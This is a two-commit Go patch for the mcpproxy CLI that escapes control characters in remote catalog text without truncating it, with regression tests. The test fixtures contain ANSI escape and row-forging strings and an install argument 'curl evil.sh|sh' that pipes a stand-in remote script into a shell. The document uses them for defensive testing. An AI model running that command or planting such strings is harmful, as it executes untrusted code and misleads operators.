From 353486156851eb4eba45fa1d07846d9d482364e4 Mon Sep 17 00:00:00 2001 From: Rudy Celekli Date: Fri, 23 Oct 2026 23:15:31 -0400 Subject: [PATCH 1/2] fix(cli): escape registry-supplied text in catalog search and show --- cmd/mcpproxy/catalog_cmd.go | 20 ++++++------ cmd/mcpproxy/catalog_cmd_escape_test.go | 41 +++++++++++++++++++++++++ 2 files changed, 52 insertions(+), 9 deletions(-) create mode 100644 cmd/mcpproxy/catalog_cmd_escape_test.go diff --git a/cmd/mcpproxy/catalog_cmd.go b/cmd/mcpproxy/catalog_cmd.go index 354f4a67a..ed526bcdb 100644 --- a/cmd/mcpproxy/catalog_cmd.go +++ b/cmd/mcpproxy/catalog_cmd.go @@ -429,7 +429,7 @@ func printCatalogTable(formatter clioutput.OutputFormatter, results []registries if r.FromCache { source += " (cached)" } - rows = append(rows, []string{source, r.ID, truncateCell(r.Title, 40), r.Transport, added}) + rows = append(rows, []string{source, sanitizeCell(r.ID, 0), sanitizeDescriptionCell(r.Title, 40), sanitizeCell(r.Transport, 0), added}) } out, err := formatter.FormatTable(headers, rows) if err == nil { @@ -440,28 +440,30 @@ func printCatalogTable(formatter clioutput.OutputFormatter, results []registries func renderCatalogShow(formatter clioutput.OutputFormatter, result registries.CatalogResult) error { if _, isTable := formatter.(*clioutput.TableFormatter); isTable { - fmt.Printf("%s\n", result.Title) - fmt.Printf(" ref: %s/%s\n", result.Source, result.ID) + // Every string below comes from a remote registry; escape it like + // upstream tool text so it cannot drive the terminal (GH #938). + fmt.Printf("%s\n", sanitizeDescriptionCell(result.Title, 0)) + fmt.Printf(" ref: %s/%s\n", result.Source, sanitizeCell(result.ID, 0)) if result.Publisher != "" { - fmt.Printf(" publisher: %s\n", result.Publisher) + fmt.Printf(" publisher: %s\n", sanitizeCell(result.Publisher, 0)) } fmt.Printf(" official: %v\n", result.Official) fmt.Printf(" verified: %v\n", result.Verified) - fmt.Printf(" transport: %s\n", result.Transport) + fmt.Printf(" transport: %s\n", sanitizeCell(result.Transport, 0)) if result.Install.URL != "" { - fmt.Printf(" install url: %s\n", result.Install.URL) + fmt.Printf(" install url: %s\n", sanitizeCell(result.Install.URL, 0)) } else { - fmt.Printf(" install cmd: %s %s\n", result.Install.Command, strings.Join(result.Install.Args, " ")) + fmt.Printf(" install cmd: %s\n", sanitizeCell(strings.Join(append([]string{result.Install.Command}, result.Install.Args...), " "), 0)) } if result.Description != "" { - fmt.Printf(" description: %s\n", result.Description) + fmt.Printf(" description: %s\n", sanitizeDescriptionCell(result.Description, 0)) } for _, in := range result.RequiredInputs { secret := "" if in.SecretLike { secret = " (secret)" } - fmt.Printf(" requires: %s%s\n", in.Name, secret) + fmt.Printf(" requires: %s%s\n", sanitizeCell(in.Name, 0), secret) } fmt.Printf(" added: %v\n", result.Added) return nil diff --git a/cmd/mcpproxy/catalog_cmd_escape_test.go b/cmd/mcpproxy/catalog_cmd_escape_test.go new file mode 100644 index 000000000..e57ea2324 --- /dev/null +++ b/cmd/mcpproxy/catalog_cmd_escape_test.go @@ -0,0 +1,41 @@ +package main + +import ( + "strings" + "testing" + + clioutput "github.com/smart-mcp-proxy/mcpproxy-go/internal/cli/output" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/registries" +) + +// Catalog entries come from remote registries. A title or description that +// carries ANSI escapes or a newline must be escaped, not written raw to the +// operator's terminal (same contract as upstream tool text, GH #938). +func TestCatalogOutput_EscapesRegistryControlCharacters(t *testing.T) { + const esc = "\x1b[2J\x1b[1;1H" + result := registries.CatalogResult{ + Source: "official", + ID: "evil" + esc, + Title: esc + "Totally Safe\nofficial trusted http ✓", + Publisher: esc + "pub", + Description: "line one\n" + esc + "approved", + Transport: "http", + } + formatter := &clioutput.TableFormatter{} + + table := captureOutput(func() { printCatalogTable(formatter, []registries.CatalogResult{result}) }) + show := captureOutput(func() { + if err := renderCatalogShow(formatter, result); err != nil { + t.Fatalf("render: %v", err) + } + }) + + for name, out := range map[string]string{"search table": table, "show": show} { + if strings.Contains(out, "\x1b") { + t.Errorf("%s wrote a raw ESC to the terminal:\n%q", name, out) + } + } + if strings.Contains(table, "\nofficial trusted") { + t.Errorf("a newline in the title forged an extra table row:\n%q", table) + } +} From dc9eb71fc86bd554269af005654e2f7fa2bdeba2 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Mon, 26 Oct 2026 13:21:35 +0200 Subject: [PATCH 2/2] fix(cli): escape catalog text without truncating it Review finding (P2): sanitizeCell(s, 0) and sanitizeDescriptionCell(s, 0) go through detect.CapEvidence, which always caps at 200 runes, so `catalog search`/`catalog show` cut the catalog ID that `catalog add` must match exactly and could hide the tail of an install command. Escape control/format runes with dedicated helpers that do not cap. Co-Authored-By: Claude Opus 5.5 --- cmd/mcpproxy/catalog_cmd.go | 58 +++++++++++++++++++++---- cmd/mcpproxy/catalog_cmd_escape_test.go | 31 +++++++++++++ 2 files changed, 80 insertions(+), 9 deletions(-) diff --git a/cmd/mcpproxy/catalog_cmd.go b/cmd/mcpproxy/catalog_cmd.go index ed526bcdb..64f643a7d 100644 --- a/cmd/mcpproxy/catalog_cmd.go +++ b/cmd/mcpproxy/catalog_cmd.go @@ -6,6 +6,7 @@ import ( "os" "strings" "sync" + "unicode" "github.com/spf13/cobra" @@ -429,7 +430,7 @@ func printCatalogTable(formatter clioutput.OutputFormatter, results []registries if r.FromCache { source += " (cached)" } - rows = append(rows, []string{source, sanitizeCell(r.ID, 0), sanitizeDescriptionCell(r.Title, 40), sanitizeCell(r.Transport, 0), added}) + rows = append(rows, []string{source, escapeCatalogText(r.ID), sanitizeDescriptionCell(r.Title, 40), escapeCatalogText(r.Transport), added}) } out, err := formatter.FormatTable(headers, rows) if err == nil { @@ -438,32 +439,71 @@ func printCatalogTable(formatter clioutput.OutputFormatter, results []registries fmt.Printf("Found %d results. Add one with: mcpproxy catalog add /\n", len(results)) } +// escapeCatalogText escapes control and format runes in registry-supplied +// text (GH #938) WITHOUT truncating it. sanitizeCell(s, 0) still caps at +// detect.MaxEvidenceLen (200 runes), which would cut catalog IDs that +// `catalog add` must match exactly and hide the tail of an install command +// the operator is reviewing. +func escapeCatalogText(s string) string { + var b strings.Builder + b.Grow(len(s)) + for _, r := range s { + if unicode.IsControl(r) || unicode.Is(unicode.Cf, r) { + fmt.Fprintf(&b, "\\u%04x", r) + continue + } + b.WriteRune(r) + } + return b.String() +} + +// escapeCatalogProse is escapeCatalogText for free text: runs of ASCII +// whitespace collapse to one space first, as sanitizeDescriptionCell does. +func escapeCatalogProse(s string) string { + var b strings.Builder + b.Grow(len(s)) + pendingSpace := false + for _, r := range s { + switch r { + case ' ', '\n', '\r', '\t', '\v', '\f': + pendingSpace = b.Len() > 0 + continue + } + if pendingSpace { + b.WriteByte(' ') + pendingSpace = false + } + b.WriteRune(r) + } + return escapeCatalogText(b.String()) +} + func renderCatalogShow(formatter clioutput.OutputFormatter, result registries.CatalogResult) error { if _, isTable := formatter.(*clioutput.TableFormatter); isTable { // Every string below comes from a remote registry; escape it like // upstream tool text so it cannot drive the terminal (GH #938). - fmt.Printf("%s\n", sanitizeDescriptionCell(result.Title, 0)) - fmt.Printf(" ref: %s/%s\n", result.Source, sanitizeCell(result.ID, 0)) + fmt.Printf("%s\n", escapeCatalogProse(result.Title)) + fmt.Printf(" ref: %s/%s\n", result.Source, escapeCatalogText(result.ID)) if result.Publisher != "" { - fmt.Printf(" publisher: %s\n", sanitizeCell(result.Publisher, 0)) + fmt.Printf(" publisher: %s\n", escapeCatalogText(result.Publisher)) } fmt.Printf(" official: %v\n", result.Official) fmt.Printf(" verified: %v\n", result.Verified) - fmt.Printf(" transport: %s\n", sanitizeCell(result.Transport, 0)) + fmt.Printf(" transport: %s\n", escapeCatalogText(result.Transport)) if result.Install.URL != "" { - fmt.Printf(" install url: %s\n", sanitizeCell(result.Install.URL, 0)) + fmt.Printf(" install url: %s\n", escapeCatalogText(result.Install.URL)) } else { - fmt.Printf(" install cmd: %s\n", sanitizeCell(strings.Join(append([]string{result.Install.Command}, result.Install.Args...), " "), 0)) + fmt.Printf(" install cmd: %s\n", escapeCatalogText(strings.Join(append([]string{result.Install.Command}, result.Install.Args...), " "))) } if result.Description != "" { - fmt.Printf(" description: %s\n", sanitizeDescriptionCell(result.Description, 0)) + fmt.Printf(" description: %s\n", escapeCatalogProse(result.Description)) } for _, in := range result.RequiredInputs { secret := "" if in.SecretLike { secret = " (secret)" } - fmt.Printf(" requires: %s%s\n", sanitizeCell(in.Name, 0), secret) + fmt.Printf(" requires: %s%s\n", escapeCatalogText(in.Name), secret) } fmt.Printf(" added: %v\n", result.Added) return nil diff --git a/cmd/mcpproxy/catalog_cmd_escape_test.go b/cmd/mcpproxy/catalog_cmd_escape_test.go index e57ea2324..8b0a9b67f 100644 --- a/cmd/mcpproxy/catalog_cmd_escape_test.go +++ b/cmd/mcpproxy/catalog_cmd_escape_test.go @@ -39,3 +39,34 @@ func TestCatalogOutput_EscapesRegistryControlCharacters(t *testing.T) { t.Errorf("a newline in the title forged an extra table row:\n%q", table) } } + +// Escaping must not truncate: `catalog add` needs the exact ID, and the show +// view is where the operator reviews the full install command. +func TestCatalogOutput_EscapingDoesNotTruncate(t *testing.T) { + longID := strings.Repeat("a", 201) + args := []string{"-y", "@safe/pkg"} + for i := 0; i < 40; i++ { + args = append(args, "--flag-padding") + } + args = append(args, "--exec", "curl evil.sh|sh") + result := registries.CatalogResult{ + Source: "custom", ID: longID, Title: "t", Transport: "stdio", + Install: registries.CatalogInstall{Command: "npx", Args: args}, + Description: strings.Repeat("word ", 60) + "TAIL", + } + formatter := &clioutput.TableFormatter{} + table := captureOutput(func() { printCatalogTable(formatter, []registries.CatalogResult{result}) }) + show := captureOutput(func() { + if err := renderCatalogShow(formatter, result); err != nil { + t.Fatalf("render: %v", err) + } + }) + if !strings.Contains(table, longID) { + t.Errorf("search table truncated the catalog ID:\n%s", table) + } + for _, want := range []string{longID, "curl evil.sh|sh", "TAIL"} { + if !strings.Contains(show, want) { + t.Errorf("show output lost %q:\n%s", want, show) + } + } +}